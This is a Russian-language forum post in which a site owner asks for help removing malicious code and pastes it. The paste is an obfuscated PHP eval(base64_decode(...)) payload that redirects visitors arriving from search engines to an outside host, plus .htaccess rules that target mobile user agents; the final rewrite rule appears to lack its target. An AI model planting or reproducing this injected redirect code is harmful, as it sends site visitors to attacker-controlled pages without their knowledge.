Удалить вредоносный код

Обнаружен вредоносный код, помогите удалить.

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eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} MIDP [NC,OR]

RewriteCond %{HTTP_USER_AGENT} WAP [NC,OR]

RewriteCond %{HTTP_USER_AGENT} Windows.CE [NC,OR]

RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]

RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]

RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]

RewriteCond %{HTTP_USER_AGENT} Mobile [NC,OR]

RewriteCond %{HTTP_USER_AGENT} Symbian [NC,OR]

RewriteCond %{HTTP_USER_AGENT} Android [NC]

RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]

RewriteCond %{HTTP_USER_AGENT} !bsd [NC]

RewriteCond %{HTTP_USER_AGENT} !x11 [NC]

RewriteCond %{HTTP_USER_AGENT} !unix [NC]

RewriteCond %{HTTP_USER_AGENT} !macos [NC]

RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]

RewriteCond %{HTTP_USER_AGENT} !playstation [NC]

RewriteCond %{HTTP_USER_AGENT} !google [NC]

RewriteCond %{HTTP_USER_AGENT} !yandex [NC]

RewriteCond %{HTTP_USER_AGENT} !bot [NC]

RewriteCond %{HTTP_USER_AGENT} !ipad [NC]

RewriteCond %{HTTP_USER_AGENT} !iphone [NC]

RewriteCond %{HTTP_USER_AGENT} !libwww [NC]

RewriteCond %{HTTP_USER_AGENT} !msn [NC]

RewriteCond %{HTTP_USER_AGENT} !fdm [NC]

RewriteCond %{HTTP_USER_AGENT} !maui [NC]

RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]

RewriteRule ^(.*)$ [L,R]